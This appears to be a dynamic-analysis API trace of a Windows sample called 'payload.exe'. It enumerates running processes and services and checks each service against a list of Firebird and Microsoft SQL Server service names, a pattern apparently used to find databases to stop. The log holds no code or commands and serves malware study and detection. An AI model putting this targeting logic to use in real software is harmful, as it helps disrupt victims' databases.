returned 11 [0059.291] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfcc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0059.292] lstrlenW (lpString="conhost.exe") returned 11 [0059.292] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0059.292] lstrlenW (lpString="payload.exe") returned 11 [0059.292] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0059.293] lstrlenW (lpString="cmd.exe") returned 7 [0059.293] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0059.294] lstrlenW (lpString="conhost.exe") returned 11 [0059.294] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0059.295] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0059.295] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf08, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0059.295] lstrlenW (lpString="conhost.exe") returned 11 [0059.295] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.296] lstrlenW (lpString="svchost.exe") returned 11 [0059.296] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0059.297] lstrlenW (lpString="mode.com") returned 8 [0059.297] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0059.298] CloseHandle (hObject=0x32c) returned 1 [0059.298] Sleep (dwMilliseconds=0x1f4) [0060.045] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6cedb8 [0060.046] EnumServicesStatusExW (in: hSCManager=0x6cedb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0 [0060.046] GetLastError () returned 0xea [0060.046] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1d6a) returned 0x6f6108 [0060.046] EnumServicesStatusExW (in: hSCManager=0x6cedb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6f6108, cbBufSize=0x1d6a, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6f6108, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1 [0060.047] CloseServiceHandle (hSCObject=0x6cedb8) returned 1 [0060.047] lstrlenW (lpString="Appinfo") returned 7 [0060.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0060.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0060.047] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0060.047] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0060.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0060.047] lstrlenW (lpString="AppXSvc") returned 7 [0060.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0060.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0060.047] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0060.047] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0060.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0060.047] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0060.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0060.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0060.047] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0060.047] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0060.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0060.047] lstrlenW (lpString="Audiosrv") returned 8 [0060.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0060.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0060.047] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0060.047] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0060.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0060.047] lstrlenW (lpString="BFE") returned 3 [0060.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0060.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0060.048] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0060.048] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0060.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0060.048] lstrlenW (lpString="BITS") returned 4 [0060.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0060.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0060.048] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0060.048] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0060.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0060.048] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0060.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0060.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0060.048] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0060.048] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0060.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0060.048] lstrlenW (lpString="CDPSvc") returned 6 [0060.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0060.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0060.048] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0060.048] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0060.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0060.048] lstrlenW (lpString="ClickToRunSvc") returned 13 [0060.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0060.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0060.048] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0060.048] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0060.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0060.048] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0060.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0060.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0060.048] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0060.048] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0060.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0060.048] lstrlenW (lpString="CryptSvc") returned 8 [0060.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0060.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0060.049] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0060.049] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0060.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0060.049] lstrlenW (lpString="DcomLaunch") returned 10 [0060.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0060.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0060.049] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0060.049] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0060.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0060.049] lstrlenW (lpString="DeviceAssociationService") returned 24 [0060.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0060.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0060.049] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0060.049] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0060.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0060.049] lstrlenW (lpString="Dhcp") returned 4 [0060.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0060.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0060.049] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0060.049] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0060.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0060.049] lstrlenW (lpString="Dnscache") returned 8 [0060.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0060.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0060.049] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0060.049] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0060.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0060.049] lstrlenW (lpString="DoSvc") returned 5 [0060.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0060.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0060.049] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0060.049] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0060.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0060.049] lstrlenW (lpString="DPS") returned 3 [0060.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0060.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0060.050] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0060.050] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0060.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0060.050] lstrlenW (lpString="DusmSvc") returned 7 [0060.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0060.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0060.050] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0060.050] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0060.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0060.050] lstrlenW (lpString="EventLog") returned 8 [0060.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0060.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0060.050] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0060.050] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0060.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0060.050] lstrlenW (lpString="EventSystem") returned 11 [0060.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0060.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0060.050] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0060.050] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0060.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0060.050] lstrlenW (lpString="FontCache") returned 9 [0060.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0060.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0060.050] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0060.050] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0060.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0060.050] lstrlenW (lpString="gpsvc") returned 5 [0060.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0060.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0060.050] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0060.050] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0060.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0060.050] lstrlenW (lpString="iphlpsvc") returned 8 [0060.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0060.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0060.050] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0060.051] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0060.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0060.051] lstrlenW (lpString="KeyIso") returned 6 [0060.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0060.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0060.051] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0060.051] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0060.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0060.051] lstrlenW (lpString="LanmanServer") returned 12 [0060.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0060.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0060.051] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0060.051] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0060.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0060.051] lstrlenW (lpString="LanmanWorkstation") returned 17 [0060.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0060.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0060.051] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0060.051] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0060.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0060.051] lstrlenW (lpString="lfsvc") returned 5 [0060.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0060.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0060.051] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0060.051] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0060.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0060.051] lstrlenW (lpString="lmhosts") returned 7 [0060.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0060.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0060.051] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0060.051] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0060.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0060.051] lstrlenW (lpString="LSM") returned 3 [0060.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0060.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0060.051] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0060.051] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0060.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0060.052] lstrlenW (lpString="MpsSvc") returned 6 [0060.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0060.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0060.052] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0060.052] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0060.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0060.052] lstrlenW (lpString="NcbService") returned 10 [0060.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0060.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0060.052] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0060.052] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0060.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0060.052] lstrlenW (lpString="netprofm") returned 8 [0060.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0060.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0060.052] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0060.052] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0060.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0060.052] lstrlenW (lpString="NlaSvc") returned 6 [0060.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0060.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0060.052] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0060.052] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0060.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0060.052] lstrlenW (lpString="nsi") returned 3 [0060.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0060.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0060.052] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0060.052] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0060.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0060.052] lstrlenW (lpString="PcaSvc") returned 6 [0060.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0060.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0060.052] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0060.052] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0060.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0060.053] lstrlenW (lpString="PlugPlay") returned 8 [0060.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0060.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0060.053] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0060.053] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0060.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0060.053] lstrlenW (lpString="Power") returned 5 [0060.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0060.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0060.053] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0060.053] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0060.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0060.053] lstrlenW (lpString="ProfSvc") returned 7 [0060.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0060.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0060.053] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0060.053] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0060.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0060.053] lstrlenW (lpString="RpcEptMapper") returned 12 [0060.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0060.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0060.053] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0060.053] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0060.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0060.053] lstrlenW (lpString="RpcSs") returned 5 [0060.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0060.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0060.053] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0060.053] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0060.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0060.053] lstrlenW (lpString="SamSs") returned 5 [0060.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0060.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0060.053] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0060.053] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0060.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0060.054] lstrlenW (lpString="Schedule") returned 8 [0060.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0060.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0060.054] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0060.054] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0060.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0060.054] lstrlenW (lpString="SecurityHealthService") returned 21 [0060.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0060.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0060.054] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0060.054] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0060.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0060.054] lstrlenW (lpString="SENS") returned 4 [0060.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0060.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0060.054] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0060.054] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0060.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0060.054] lstrlenW (lpString="ShellHWDetection") returned 16 [0060.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0060.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0060.054] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0060.054] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0060.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0060.054] lstrlenW (lpString="Spooler") returned 7 [0060.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0060.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0060.054] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0060.054] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0060.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0060.054] lstrlenW (lpString="SSDPSRV") returned 7 [0060.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0060.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0060.054] 